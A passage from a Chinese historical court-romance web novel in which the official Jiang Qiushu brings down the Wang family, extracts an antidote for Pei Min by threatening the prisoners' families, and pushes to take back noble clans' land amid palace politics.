王尚书令一张脸憋得又青又紫,身旁的王家人连忙去扶,他从袖子里颤颤巍巍的拿出了张纸,“圣后,姜侍书与我儿有了婚书,与我王家也是一家人。若是要罚,少不了她。” 这话太不要脸了!王尚书令却管不了那么多,只是要求姜秋姝与他们一同受罚。 “娘娘,此事必定有误会,咳咳,”裴珉连忙站了出来,“咳咳,姜侍书既然主理此案,怎会与王家有牵连,必定王家人陷害。” 姜秋姝视线被裴珉吸引,看了过去,瞧着虚弱了些。 “确实!王家人的事,怎会与姜侍书扯上联系,臣以为王尚书令必定是胁迫了姜侍书签的。”郑明恪也站了出来。 裴承才是最晓得这件事的,直接将事情讲了个清楚。 可王尚书令什么也不管,只说有契约在,必定要拉下姜秋姝。 “你以为我不曾做过准备?”姜秋姝讥讽的看着底下的王尚书令,“那契约非臣所签,臣为了查案,被王尚书令灌醉,便想到了这出,指印上臣套了羊肠,上面的纹路,也是臣随意刻下的。可是王尚书令得手太快,喜不自胜,未曾注意到这点。” 王尚书令看了看契约,此时也才发现了上面的印记,确实有些不同,可实在太细微了些,他当时并未看清! “你!”王尚书令指着姜秋姝,直接气晕了过去。 圣后立刻令人将王家人给拿下,命三司彻查,王家既然进去了,也不必出来,其他隐匿之事,无论如何也该捞出来。 朝臣求情者还算多,可圣后直接离开了。 太极宫内殿里,圣人已经躺了许久,瞧见圣后进来,他被宫女艰难的扶着靠在床栏上。 “梓潼,辛苦了。” “应该的。”圣后连忙抓住圣人的手,又亲自端起药喂他。 这还是姜秋姝第一次瞧见这般温柔的圣后,比起朝堂的杀伐果断,多了些母性的温和。 “这便是你封的侍书?”圣人问后,姜秋姝连忙行礼。 圣人瞧着比起两年前时瘦了很多,眼下青紫,说话声气息发颤,似迟暮之人,看来正如外边儿所言,圣人时候不多了。 “果真是个聪善的。”圣人夸赞道,也不点名姜秋姝曾做过裴珉夫人一事。 “父皇,姜氏难道比得上我吗?”李长宁不满的看着姜秋姝,“我都站这儿老一会儿!都不看看我。” “谁也比不上我的公主。”圣人朝着李长宁笑道。 李长宁果真是圣人最疼爱的女儿,插科打诨后,圣人笑的合不拢嘴,赐下了许多的东西。 过了会儿,才终于讲起正事儿来。 “圣后有意给你升个职位,咳咳。”圣人敛了方才的笑意,即便病体孱弱,却依旧帝王气威仪十足,“你觉得自己敢接?” 是提醒?是警惕?是不满意? 姜秋姝没有多想,拱手道:“臣敢。” 简单的两个字,却让圣人高看了她眼,只不过…“女子之身,有了如今的地位,已经是宠爱有加了,如今还要得实职?” “娘娘便是臣的楷模,女子之身又如何,能为大周做事儿便是能臣。”姜秋姝虽是颔首,却也不卑不亢,尤其是眼眸中坚毅的神色让圣人点了点头。 “好个能臣,王家一事皆是有你办理的,是个能耐的。”圣人面色红润了些,只是不一会儿又咳嗽起来。 “父皇,母后,”李长宁有些不乐意的走到了他们面前,“姜氏是女子,母后是女子,我也是,为何她们能那般威武,儿臣也要!” “不是许了你可入朝参政事吗?”圣人在看向李长宁时格外的温善。 “可…儿臣依旧顶着公主的头衔,别人根本就瞧不上儿臣。”李长宁依旧不服气。 “朕的公主,旁人怎敢!”圣人摸了摸李长宁的头发,“你说想要什么?” 李长宁思索了阵儿,“不若给儿臣个尚书当当?王家出了事儿,必定有人来接替他们的职位,儿臣最合……” 李长宁还未说完,圣后便敲了她一下,“你以为朝中大大小小的官职。皆是你想要就要的!” “母后。”李长宁撒娇似的拉住圣后。 “那便侍书吧!”圣人忽然道,这样的话让在场众人有些意外。 其一姜秋姝升职一事板上钉钉,其二没想到圣人竟然对李长宁这般溺爱,只是想要便给了。 “既然圣人答应了,我也不好多说什么,只是日后在我眼皮子底下,可莫要做出什么离经叛道之事。”圣后如此道。 “儿臣哪里有啊!”李长宁不满圣后这般说她。 “你府中那些幕僚都驱走吧!”圣后此话是给了李长宁面子,并未说出什么面首一类的。 “毕竟跟了儿臣那么多年,儿臣心头还是舍不得,总得给他们谋些好出路!”李长宁转了眼珠,“不若给了姜氏吧!她一女子听闻连请奴仆都没有,我府中幕僚皆是身强体壮的,让他们给你去看门!” “臣不敢受。”姜秋姝连忙拒绝道。 “你别难为人家姜侍书了,”圣后见李长宁这般胡闹,有些头疼。 “母后,父皇,儿臣是为了姜侍书好,怎就是胡闹了,我这些幕僚给她去看门,我都舍不得呢!”李长宁见状拉了拉圣人的衣袖,“父皇?” “若是正经人,给姜侍书也好,毕竟孤身一人在府到底不安,还是要请些护院好。”圣人倒是没有拒绝李长宁的提议,只是换了种语气。 谁都晓得李长宁不喜姜秋姝,她能送些什么好人过去?圣人又怕他这女儿当真胡作非为,只能警示道。 ~~ 入朝四月,她便能够晋升职位,在大周来说是少见的,越是这般泼天的宠爱,姜秋姝才越要镇定自若。 马车停在自家门口的时候,姜秋姝如往日一般入了院子。 一赤裸着上半身的男子,肌肉蟠扎,腰间臂膀汗水滴滴,有的甚至随着挥剑时,一点儿一点儿地落下。 男子龙精虎猛,一套剑招耍得是如行云流水,眼睛似乎在她的方向瞄了眼,脸上绯红,又继续舞了起来。 姜秋姝一时间怔楞在原地,连门都忘记关了,直到一只手抓住门,将门彻底的打开。 “你在做什么?”裴珉眼神阴寒的从裴承身上扫过。 看着他这一身穿着,更是火不打一处来。 裴承收了剑,走向了姜秋姝和裴珉的位置,一股男性气息传来,姜秋姝撇了撇头,下一瞬却直接被裴珉挡在身前。 “穿好你的衣服!咳咳。”裴珉声音沉沉,嗓子里却又是嘶哑的。 “五叔,我只是在练剑。”裴承脸上的红色褪去,方才瞧见姜秋姝时表演的卖力,可看见裴珉来时,却立刻压制住了内心的妄念。 练剑?练剑需要赤裸上本身,需要抛媚眼,需要展示他浑身的肌肉? 裴珉恶狠狠的看着他,犹如看夺妻仇人般的目光。 裴承只低头,余光瞥了眼姜秋姝,他确实是动了些心思,故意的,可谁能想到这般巧的被裴珉看见了。 裴珉拉着姜秋姝去了房间,连个眼神都未给裴承。 到了书房,姜秋姝再次看见这般的让人起疑的裴珉,却没有做出旁的事,没有像上回马车上弄清他脸上的东西,只是问,“怎么了?” “王家的事,你还有多少查清了的?”裴珉尽量忽视心中的不快。 方才她眼神多次看向裴承,里面是她自己都未曾注意到的欣赏,他分明也有那般壮硕的肌肉,可她却从未看过,即便他们曾经是夫妻。 “郑家的事?”姜秋姝没能想到裴珉脑子里,竟然有这么多的弯弯绕绕,只是试探的问了出来。 郑明恪曾与她说过郑大儒被诬陷,王家获利最大。 “是。”裴珉如实告诉他。 他确实查到了些线索,可终究无法彻底绊倒王家,便想着韬光养晦,没想到会是她将王家给扳倒了。 裴珉看向姜秋姝时,已经不似以往,如今隐隐有了钦佩之色。 “如何王家人入了狱,可彻底将此事清办吗?”姜秋姝问道。 “可。” 姜秋姝松了口气,若是能够彻底解决了王家,也不必再耗费她功夫了。 “日后莫要让旁的男子再来你的院子?”说完了正事儿,裴珉还是对方才所见愤愤不平。 “关你何事!”姜秋姝没了方才的和善,直接要推着人出了房门。 “小满,是我错了,我与郑六娘非你所想,当初与你说要和她成婚,一是想要看你是否在意,二是她经历了些事,我想着她是老师唯一的女儿,只想着照顾下她,并不会让她真的当了平妻。” 姜秋姝懒得听这个,还是将人往外拉,可女子的力气到底比不过男子。 “当初我不想要孩子,并非是不想要与你的孩子,咳咳,而是我不敢要,我怕自己不能成为一个好父亲。我幼时便不得长辈满意,我不会教养孩子,咳咳。”裴珉赖在门口还是将这些话给说清楚。 他是真的怕,没想到会让她误会,亦怕说清楚了,她便彻底和他不会行夫妻之事。 他不说,只是他贪心想要和她在一起。 姜秋姝抬眸,看了眼裴珉,看着他脸色绯红的怪异,尤其是说了这么久脸色竟然丝毫未变。 当听到他剧烈的咳嗽时,姜秋姝也没有推他,只是问道:“为何此时要解释清楚。” “我…不想要叫你一直误会,小满,你始终被我放在心上,我从未对旁的女子有过另眼。”也从未想过会这般的爱慕你。” 姜秋姝点头,趁着裴珉不注意将他给推出了房外。 可裴珉还在说,“莫要让旁的男子接近你。” 这时府邸的门开了,是裴承去开的,约莫七八个男子走了进来,他们身形皆与裴承有很大的相似。 领头的管事儿的看了眼裴珉和裴承神色有些奇怪,可还是如实禀告,“姜大人,这时平乐殿下派小的送来的。” 八名男子齐齐朝着姜秋姝请安,“姜大人。” 裴珉此刻头上的火,更是彻底的冒了出来,恨不得将所有人都赶出去,偏偏姜秋姝开了口,“这些人送来,便都是要听我的?” 管事的答道:“是。” “既然如此,便将两位裴大人都请走吧!” 八名男子齐拥而上,看起来还是有些武功在身,迅速将裴珉他们给请了出去。 姜秋姝松了口气的同时,却又一直注视着裴珉离开的方向。 片刻后移开目光,算了,想那么多作甚。 ~~ 约莫第二日上朝,姜秋姝感觉到朝中人对她隐隐变了态度,更像是将她当成了避之不及的瘟神。 她浅笑而过,只薛家人不同,他们更多的是看圣后的面上,对她一如既往,尤其是薛诰等她出了宫门时,还想要送她回府,说是隔几日来找她询问种花之事。 姜秋姝刚到了府中,忽然来了个小孩摔倒,她连忙去扶,可掌心被塞了张纸条。 她打开一看,是王家人给她的,可王家人目前不是在狱中吗? 姜秋姝没有多想,将纸条揣了回去,隔日休沐时去了躺狱中。 如今的王家人和以往可是完全不同,一身白衣,蓬头垢面狼狈的很,当他们看见姜秋姝时收拢的獠牙立刻张开,眼神恶狠狠的。 “你还是来了!原以为你并不关心那姓裴的!”王尚书令讥讽道,“原来姜大人还是对其旧情难忘。” “有事说事!” 姜秋姝作势要走,王尚书令连忙道:“上回你遭遇刺杀,就没有想过怎那般容易逃脱了追凶!我王家的死士可是见了血才会收手的。” 姜秋姝没耐心听他多说,马上就要离开。 王尚书令连忙喊道:“是裴珉替你挨了一箭,那箭上有毒,若无我王家的解药,他必死无疑。只要你不再查下去,我就将解药给你。” 姜秋姝步伐没有停顿,快要看不见时,王尚书令的嘶吼声传来,“姜秋姝,你个忘恩负义的小人,连恩人的性命都不顾了!啊啊!” 姜秋姝上了马,脑中却始终怀绕着王尚书令说的话,有毒,解药,必死无疑。 难怪,裴珉瞧着比起平常要孱弱些。 她骑着马漫无目的的跑着,最后抬头瞧见了定国公府的匾额定了定,她拉了缰绳,却又立刻调转了方向,往旁的地方跑去。 最后她回了府,书案上是白日里裴珉来给她的东西,是关于王家收受贪污,戕害百姓,陷害郑家的证据。 他是将他的性命都交到了她手里? 姜秋姝翻看着这些东西,黑夜逐渐侵袭,外边儿不晓得什么时候天变暗了,书房里的蜡烛被点燃,姜秋姝望了过去,是李长宁派来的人点的。 她晓得李长宁派这些人,最主要的原因便是要保护她,上回遇刺一事便是因她身边人不够多的缘故。 所以她昏迷时,瞧见的那道残影是裴珉而非裴承。 所以他为何不告诉她? 姜秋姝静静的坐着,书房里的人悄然的合上门,并不打搅她,离开了。 她并不想要欠他的,姜秋姝摸着这些证据,可同样要让她包庇旁的人也绝无可能。 窗外的墨色,逐渐淡去,姜秋姝才叫来了李长宁送来的人,他们身形魁梧,个个都是有好拳脚的。 既然解药在王家人手里,那便打到他们交出来便是了,反正看圣后的意思,日后也不希望王家人能出来。 只是姜秋姝心里还是有莫名的惊动,不那么安宁。 接下来的几次早朝,都与往常一样,只是在圣后当众责打了好几个给王家人求情的人,更加寂静了些。 内侍监照例喊出退朝事,姜秋姝便立刻站了出来。 朝臣心,在此刻变得慌乱了起来,姜秋姝前几次开口,都没有好事儿,他们屏息凝神的听着。 “世家大族手握大量的土地,百姓只能租地才能过活,一份银钱用于租地,一份用于赋税,苦不堪言。” “那你觉得该如何?”圣后疑惑的开口。 事到如今,朝中百官皆有了不好的感觉,尤其是姜秋姝接下来的话。 “天下土地该皆是朝廷的,世家私用,民生苦不堪言!”姜秋姝义正言辞道,“臣请愿世家归还土地。” 此话一起引起轩然大波,朝臣指着姜秋姝那是气的面红耳赤。 “耻呼,祖辈传下来的,到了姜侍书口中便成了朝廷的!” “竖子啊!” “简直是狂悖之言,本是自家的东西凭何要分出去啊!姜侍书口出狂言,让我们这些老臣如何与之共处啊!” 姜秋姝能够听清,这声音是定国公的。 下面争论不休,几乎都是朝着她而发起攻讦,姜秋姝并不做声,约莫过了一炷香,下面的人也才反应过来,只有他们在争论,反倒是姜秋姝看他们犹如戏猴般。 他们立刻横眉竖鼻的看向了她,其中的愤怒不言而喻。 此刻就连表面与姜秋姝交往不错的薛家亦站了出来,薛明义道:“娘娘,姜侍书此言不妥,朝臣便是握有土地,亦是靠着自家百年积蓄而来,姜侍书一句话便让我们交出,是要毁了我们的基业啊!” “娘娘,还请您斥责姜侍书,今日引起群臣愤慨,她个女子就不适合待在朝堂。”有年老大臣站了出来。 “喔!”圣后声音一出,四下皆安静了,“女子不适合待在朝堂?这是在说本宫!” 圣后冷眼望了过去,那大臣深知自家说错了话,连忙跪地请求饶恕。 “娘娘,臣的意思是以钱赎地,朝臣不愿供出自己的土地情由所原,臣意思是以合适的价格购买世家手中的地。” 姜秋姝自然晓得世家不愿意上交,定要想另外的主意,以钱赎地,是她想到的比较快的方式,可却不是更加有利之事。 “用钱赎地,臣也不愿!”有大臣连忙出来表示。 国库钱财虽然充足,可圣后当真愿意拿出这些钱来,他们与圣后打过两年交道,便晓得她非一般女子。 况且给了钱,他们也不愿。 “姜侍书真是不晓得天高地厚了!”二皇子许久未曾在朝堂上发声,他亦是在隐忍着,可看着姜秋姝一桩桩一件件,实在是忍无可忍。 “此乃朝廷之事,未曾得过圣人授意,便提了出来,将朝臣圣人置于何处!”二皇子愤愤不平,他瞧不得一女子能够站在朝堂上高歌! “此事容后再议!”圣后直接下了定论。 二皇子的话被打断,他似乎都能瞧见,以往靠近他的朝臣鄙夷的目光,他堂堂皇子竟然也到了如今的地步! 第56章 第56章二皇子倒了一杯…… 二皇子倒了一杯杯的酒,可始终灌醉不了自己,他介怀,凭何女子比他都有用,他才是天潢贵胄。 “二哥,喝那么急作甚?”四皇子拿过他的杯子,“今日事,不过小事,你分明晓得姜侍书乃母后身边的人,说她的不是做什么!” 二皇子将杯子抢了过来,“我是皇子?不能说她一个女子?” “也不是不能,如今母后在朝,父皇病重,不该得罪母后和母后身边人的。日后这天下与我们闲散皇子无关,还得仰仗着他们,不得缩起尾巴做人啊!”四皇子也不在意,只是夹起桌上的肉尝了口。 缩起尾巴做人!二皇子捏着酒杯,里面的酒水全部都洒了出来。 四皇子却是焦急道:“好好的酒,你不喝也别弄撒了啊!” ~~ 姜秋姝回到府邸,原本今日薛诰说要来跟她学如何种花,她想他一定不会来了,薛诰的亲近多因为薛家要向圣后靠拢,可当她提出世家献出土地时,便晓得薛家日后不会和她来玩。 再如何向圣后靠拢,世家永远是世家。 李长宁派来伺候的人,她全部派走了,如今院子里有些清净,她坐在书案上整理着这几日的公文。 两月后,王家人已经定了案,男丁问斩,其余全族流放,姜秋姝依旧不动声色,以往时不时来她府邸的裴珉也没了踪迹,寻常上朝时极少见他,说是告了假。 姜秋姝其实隐约的猜到,裴珉如今中毒颇深,怎会出现在众人面前。 她拿起公文刚要批复,可墨滴到白纸上,她伸手抹去,纸上留下一团的墨渍,甚至到了指尖,她看了看窗外,时间还算早,只是她始终不安宁。 府苑的门被敲了好几下,姜秋姝去看,发现是李明澈。 李明澈焦急的拉着她想要往外走,“裴珉快不行了!姜大人你随我去看看吧!” 姜秋姝站在原地,甩开了他的手。 李明澈不可置信的看着她,“你?他是为了你才到了今天的地步的!” “那又如何?”姜秋姝只道,“我与他早就两不相欠的,他是为了我,可我并未求着他去做!” 姜秋姝眼里的冰冷,叫李明澈怔楞,甚至逐渐转变为了失望,临走前只丢了句,“你莫后悔!” 她不晓得自己会不会后悔,目前该着急的并不是此事,她又重新坐回了书房,只是此刻案上的公务,却看不下去了。 直到深夜时分,她望了望外边儿,立刻出了门,骑上马儿往外跑,此刻还不是宵禁,不算晚,街上却没有多少人。 风在耳侧发响,脑子里念头很多,几乎被摒弃,只留下想见一面他。 就当是感激。 感激他的救命之恩。 定国公府的门房认得她,姜秋姝让他放她进去,小厮此刻神情却有些迟疑。 “五夫…姜娘子,此乃国公府,您还是离开吧!” 定国公早朝时,便反驳过姜秋姝的土地上缴,后来回了府发了好大一阵火,又去了玉珩院一趟,更是明令禁止,府中不许再出现姜秋姝的名讳。 如今姜秋姝上了门,门房也只有阻拦的份。 “你家郎君情况如何了?”见门房要关上门,她连忙撑住门,手掌被挤压,她依旧没有放开。 “姜大人,我是真的不晓得,只国公因五郎的事发了好大的火,前段时间五郎还将二娘给赶出去了,如今玉珩院里,只听说来来往往了不少的大夫。” “您也别难为我。”门房还是坚定地合上了门。 姜秋姝立在原地,手掌一道红痕,是方才被压的,不疼,抵不过她脑子里的乱。 狱中还未有消息传来,他怕是等不得的。 姜秋姝重新上了马,往西边的方向奔驰,她不是忘恩负义之辈,需得救他。 狱卒上回便认得她,见她来便很快的让她进去了。 一时间能够听到许多人的哀嚎,尤其是王家人的声音,王家几位男丁,衣衫褴褛,肌肤上还留着许多血痕,那八人瞧见姜秋姝,停下挥舞的鞭子,朝她走来。 “已经打了好些时候,可他们依旧不说解药在何处。” 姜秋姝也没想过王家人竟然还全都是硬骨头。 “把鞭子给我。”当头的人愣了会儿,还是将鞭子给了姜秋姝。 站在被绑在椅子上的王家人前,姜秋姝捏紧了鞭子,“几位是个硬骨肉,伸头一刀缩头也是一刀,不若我今儿便将你们打死了,免得铡刀落下,砍了你们的头。” “姜氏你敢!”说着话的是王尚书令,“你也晓得伸头一刀缩头一刀,若是能将裴珉也带走,是赚了!只是可惜那箭未射中你!” 姜秋姝捏着鞭子,欲上前,无辜者她不敢打,王家人那是罪有应得,她扬手,王尚书令合上双眸,牙齿咬的极紧,只听见啪的一声,鞭子落了空,打在了椅子上。 不过是个弱女子,光会说话,其实什么也不敢,王尚书令哧了声。 姜秋姝坐在了对面的椅子上,“给他们清洗一下。” 说完,好几桶水浇在了王家男子的身上,一时间他们疼的龇牙咧嘴。 姜秋姝靠在椅子上,甩一甩鞭子,又是啪的一声,他们皆看了过来,“几位死倒是死干净了,可” 她站了起来,走到王尚书令前道,“可结发三十年的妻子,”又看向了王家其余几位,“恩爱的发妻,年幼可爱的孩子呢?” 她声音比起方才温和了不少,可说出的话却残忍,“你说你们走了倒是无事,他们呢?你说让他们给裴珉偿命可好?” 这几句话让王家人毛骨悚然,抬头看她,是那么的不可思议,“姜大人不是这样的人?” “我是不是?你们是没机会知道了。” 说着命狱卒将王大夫人提审了出来,王大夫人眼泪止不住的留,连忙跑到了她夫君的面前,心疼的看着他满身的伤。 “求姜大人饶命!”王大夫人没了与姜秋姝初次想见的高傲,跪在地上,磕着头不一会儿头都磕青紫。 姜秋姝愣了下,可很快烟消云散,命人将王大夫人抓了起来,“你说她的命能否低过裴珉的?” 王家大郎看了眼王尚书令并不说话。 他手指蜷缩着,耳侧是妻子抽泣的颤音,他无力的垂首。 “好!几位硬骨头,自个儿倒是逞了气,可偏偏苦了旁的人,自己走的利索,也不怕家人无依无靠。” 姜秋姝又陆续让人将王家的孩童抓了过来,幼儿的泣声让人胆寒,甚至心酸。 王家男子此时才心慌了,“你要干什么?” “解药!”姜秋姝只淡淡的说了这两个字。 幼童的哭声阵阵又声嘶力竭,他们最大的不过七八岁,最小的才一岁,连路都不会走,此刻恐惧,使得他们喊着自己的阿耶阿娘。 姜秋姝命人隔开了他们,女眷实在忍不住,哭着让他们将东西交出来。 “孩儿还小,他们都是你们的骨血啊!” 王家几位郎君终于忍不住了,看着王尚书令道:“阿耶!给了吧!” 王尚书令抬眸,眼睛里冷气往外冒,几乎想要撕碎姜秋姝。 杂乱的声音中,是他们声声在喊着,阿娘,阿耶,祖母,祖父,王家大郎眸子含着泪,站了起来,“我给。” 王尚书令看了眼,并没有反驳,只是垂垂如老朽。 姜秋姝连忙让人按照王家大郎说的地方取了药过来。 约莫半个多时辰,那人回来了,姜秋姝看着红色瓷瓶里的东西道:“若是假的,我会让其余王家人陪葬。” 临走时,姜秋姝又回头道:“若是真的,我会安置好其余流放的王家人,至少让女子幼童不受欺凌,免于饥饿。” 王尚书令不可置信的看了眼姜秋姝,最后叹了口气,他活了一辈子连个女子都比不过。 走出门,下了台阶,姜秋姝手都是发抖的,她无意为难任何人,王家那些女眷孩童,她从未想过下手。 只是威胁,索性王家人还没有泯灭人性。 她连忙骑着马,去了正明侯府,李明澈听小厮的禀告在外院见了她,“姜大人?” 语气是讥讽的。 姜秋姝却来不及和他说什么,连忙拉着他让他带她进定国公府。 她一个人是无论如何也进不去。 李明澈还当她是有了良心,将她扮做自己随行的小厮给带了进去。 玉珩院里里外外都是药味,姜秋姝鼻子轻轻动了动,以往不觉得药味儿难受,此刻竟然有些呛人。 入了裴珉的房间,原本被她毁坏的房子已经修复好了,里面一切都如初,姜秋姝一眼便看见了躺在床榻上的人。 那不晓得被什么掩盖的红润彻底没了,是惨白着的一张脸,瘦了好多。 第57章 第57章关嬷嬷和锦绣先…… 关嬷嬷和锦绣先是朝着李明澈行了礼,而后看见了他身后的姜秋姝,也将人给认了出来,俯了俯身后,眼眸里藏着许多的感慨,在李明澈的示意下,她们才离开了房间。 “你要做什么?”李明澈被抓了一路过来,都来不及问姜秋姝所谓何事。 裴珉此刻昏迷着,姜秋姝没回答李明澈的话,走近坐在了床榻,他手里似乎紧紧握着什么东西,她没时间操心那么多,将他扶起来,然后把药喂了进去。 他手里的东西脱落,正好掉在了地上,姜秋姝望了过去。 是一枚荷包,她曾说过绣的极难看的荷包。 李明澈见姜秋姝喂给裴珉东西刚要询问,可又看见她看这荷包,神情陌生,恼怒的刺了她句,“裴珉这两年来,将这荷包视若珍宝,怎姜大人忘了,这是你亲手给他缝的?” 姜秋姝想了想,也反应了过来,她是曾经送给了他个荷包,可从未见他戴过,还以为他将东西给扔了,或者是随手打发送了人。 没想到还在。 “姜大人心狠,可曾晓得裴珉两年前为了寻你累的昏厥,醒来后不顾身体依旧要找到你,当听到你死讯,甚至吐了血。我不晓得你与裴珉为何到了今天这本,他是个不将喜怒表现出来的人,可我看得出他每每看你的目光都是深情。 姜大人入了朝堂,那些风雨多少是裴珉为你扛下了的。如今世家,定国公本就对他有颇大的意见,如今为了你还命悬一线。这样的情谊,姜大人都不会感动吗?“李明澈忍不住想要为裴珉打抱不平。 “这是我与他之间的事。”姜秋姝只是这样回他。 房门口默默伫立着个人影,是裴承。 他原以为姜秋姝是彻底的对五叔死心,可没想到五叔重病,她还是回来瞧五叔。 裴承走了进来,先是朝着李明澈颔首,又看向了姜秋姝。 “姜大人,若是五叔晓得你来了,必定开怀。”裴承也不晓得该说什么,如今五叔重病垂危,他心头的那点儿心思,逐渐的埋了起来。 那箭是五叔为她挡下的,而非他。 玉珩院的药味儿能够传的好远,太夫人闻了什么也不说,心里是喜悦的,可对裴承五叔在他年幼便待他极好,他是怎么也开心不起来。 姜秋姝不是个无情的,那替她挡住的箭的人,必定会让她记一辈子。 听天由命吧!若是五叔没醒,他争上一争。若是五叔醒了,便算了。 看着服下药,脸色逐渐变好的裴珉,姜秋姝松了口气,将他小心的扶好,起身离去。 “这便走了?”李明澈拦住她,不可思议道。 “解药已经服下,我又不是大夫,待在此处无用。”姜秋姝大步离开了这个熟悉的房间,并不理身后两人。 出了定国公府门,她又重新骑上了马,说实话,留在那儿等裴珉醒,醒了又说什么呢? 不出半日,裴珉醒来了,有大夫来瞧,说是毒彻底的解了。 定国公府一时间喜不自胜,只太夫人暗暗惋惜。 第二日,太夫人看着坐在她身侧的男人,哑着嗓子又问了道:“你说什么?” “我要请立五郎为世子!”定国公语气没有丝毫的商议。 “我不同意!”太夫人接受不了,她做了那么多,没想到还是到了今天这步,裴珉不过是庶子,她的三郎君才是正统! “你这些年做的,我清清楚楚,”定国公沉下了脸,“崔姨娘是你的人,她看似事事苛责五郎,叫他守孝悌,知尊卑,可皆是因你授意的缘故,谁愿意将自己孩子养废?不过是那年五郎在圣人面前得了脸,小小年纪拳法打的极好,又加上曾去寺庙祈福得了个好签,说五郎日后必定是人中龙凤。你见五郎比起其他几位聪颖,又能干,才故意暗示崔姨娘将诸多礼法加在他身上,为的就是不与你嫡出的争权。” 太夫人没想到一切都瞒不过定国公的眼,可既然他知道,又为何从没有阻止过,只是如今裴珉成长到了如今的位置,得了他的亲眼罢了! “三郎君呢?他有何处差的,不过及冠便入了金吾卫,五郎先是在朝中与世家为敌,又为了个女人闹到了如今的地步。将国公府交给他这样的人,百年基业毁于一旦。”太夫人起身,愤恨的盯着他。 “我才是你的发妻,与你在一起快四十年了,今后定国公府却要给与我丝毫没有关系的人?” 定国公眼神定定,“府中事日后交给几位儿媳吧!旁的太夫人早就颐养天年,只有你一直将权利握在手上。” 太夫人不可置信的看着他,先是要将爵位传给五郎,又要夺了她的内宅之权,“为什么?” “因为只有五郎才能支撑起定国公府!” 定国公离开前只留下了这么句。 圣人大病,圣后把持朝堂算来已经有两年多了,王家又倒了,按照如今朝中的局势来看,怕有大事发生。 姜秋姝入朝堂是圣后的一枚棋,圣后所图的不只是目前这么多。 ~~ 早朝时,内侍监宣了道圣旨,引得朝野震惊。 先是封了平乐公主为侍书,又是封了郑明恪为工部尚书,最后是让姜秋姝做了吏部侍郎! 吏部可是掌管官员选拔考核的! 朝野一时间皆请求圣后收回成命,可圣后只说了句此事乃圣人定下的,让他们找圣人说去,如今圣人病重,他们怕是连宫殿都进不了。 太极宫内殿,姜秋姝心口的麻意一直未曾消散,她还以为会从六七品坐起,一上来便是个侍郎的位置。 朝中共有六部,尚书以下便是侍郎。 “怎么喜不自胜了?”圣后语气带着些调笑。 “不是,臣荣幸之至。”姜秋姝俯身,有什么她便接住什么,没得好怕的。 “极好!”圣后称赞道。 “你且说,该立哪位皇子为储君?”圣后忽然问道。 如今圣人久昏迷不醒,太医说也就是这几日的时间了,圣后膝下只有一个三皇子,此事几乎毫无疑问。 姜秋姝却道:“能者居之。” 能者居之,圣后嚼着这几个字,又道:“与旁的无关系?” “旁的皆无关,天下大权能者居之,扩土容易,守疆难。”姜秋姝又道。 听了她的话,圣后浅笑了起来,“本宫果然未曾看错你。” 此时太极宫内殿李长宁忽然走了进来,“能者居之,那女儿觉得母后比起几位皇兄好得多,凭什么好处都让他们男的占了,儿臣觉得自己也行。” “又在偷听!”圣后斥责了李长宁声,可语气明显比起以往要好上很多。 “本来就是啊!母后为父皇掌权两年,若是交到旁人手里,儿臣都不放心。” “你三皇兄算什么旁人啊!”圣后瞪了她眼。 “可三皇兄耳根子软啊!”李长宁感叹道,“儿臣怕三皇兄不中用,毁了大周基业。” “大胆!”圣后声音严厉了些,“身为公主,妄议这些,让旁人晓得了,不怕弹劾你?” “这里只有母后,”李长宁又看了眼姜秋姝,“喔还有她,可姜侍郎她敢出去乱说吗?” “不敢。”姜秋姝连忙道。 见姜秋姝这般识趣,李长宁神色满意。 “好了,此事管好自己的嘴,莫要往外传。” 圣后直接让两人出去了,两人到了檐下,此刻外边儿晴空万里,抬头便能瞧见好天气。 “凤凰于飞,晴阳方始,日后应当也会有好天气吧!”李长宁莫名感叹了句,又先一步姜秋姝离开了皇宫。 与圣后相见的第一面,她便看得出圣后胸怀大志,女子浸在权利里两年,独揽大权,是会让人着迷的。 出了宫门,姜秋姝刚上马车,便瞧见个人影,她将要喊,却被人给捂住了嘴,搂在了怀中。 “小满。”他眷念的看了看她,抚摸着她的脸庞,他缠绵病榻的这些日子,已经许久未曾见过她了。 姜秋姝拍开了他的手,哪知他根本没有反应,指尖摩挲着她的脸颊,甚至直接咬上了她的耳垂。 “放开!” 姜秋姝给了他一巴掌,掌心温度滚烫,可见力道不轻。 裴珉半侧过脸去,反而笑了起来,“你心里是有我的。” “别身体好了,就来我这里发疯。”姜秋姝眉头凝结,很不喜裴珉的举动。 “若是无我,你怎会救我。”裴珉却半点儿气也没有,心里只抓住这点,旁的什么都听不清。 病榻中,什么都是虚无的,只有她那张脸清晰,梦中她会对他笑,亦会扑在他怀中,他沉溺着,甚至希望永远也不要从这场梦里逃出去。 可他似乎听见她的声音,以及她的触感。 “你救我,我救你,这叫报恩。”姜秋姝如实道。 裴珉不信,即便是真的,他也不信,就当是骗他自己。 第58章 第58章姜秋姝离开了他些距…… 姜秋姝离开了他些距离,“裴大人还请下去,这辆马车是我的!” 裴珉未动,被她伤的多了,如今这样的话,已经不能叫他有半点儿的反应,他如今只想要靠近她些,即便她厌恶。 “世家手里的东西,决不会轻易吐出,即便是圣后有此意思,三省若不同意,此事很难进行。” 他们或许不会和圣后硬碰硬,总有办法让诏书颁布不了。 “小满,莫与他们相斗了。”裴珉言辞恳切了些,她能够让王家下狱,确实意想不到,可是却难以与多个世家相争的。 只要世家不松口,此事很难很难。 “裴珉,这是我自己想要做的。”姜秋看着他,眼神里流露出前所未有的郑重。 她无论如何,都要让百姓不再受世家和朝廷双重压榨。 姜秋姝晓得这人帮助过她,同样也阻止她,她不需要任何人的理解,她眼珠轻轻一转,身体朝着裴珉较远的地方移动,然后撑在木板上,脚一蹬,将离在车门较近的裴珉给踢了出去。 既然好了,就别来烦她。 裴珉从来就没有防备过她,身体往后就落在车架,临要摔出去之际,脚点在木板上,才安然落了地。 她瞧着裴珉浑身肌肉蟠扎,便想过习文之人怎会有那样的体魄,如今看来他虽然没什么功夫,可反应快。 若是没有科举入仕,怕也会是个将军。 马车扬长而去,独留下裴珉一人站在原地。 夜深了,姜秋姝坐在窗边饮着茶,忽然一道影子从窗外飞了进来,她将茶递了过去,李长宁抿了口。 “你觉得取消恩荫如何?”姜秋姝看着对面的人问道。 “你真是想要在那些老太岁头上动土,”李长宁啧了声,“恩荫惠及世家,使其地位越发的牢固。你既想要收拢土地又要废了恩荫。怕朝臣会剥了你的皮。不行!我看来得多给你派些人。” 李长宁都怕,她把自己的命给玩儿掉了。 “我确实有双管齐下的想法。”姜秋姝自然也并不避讳李长宁。 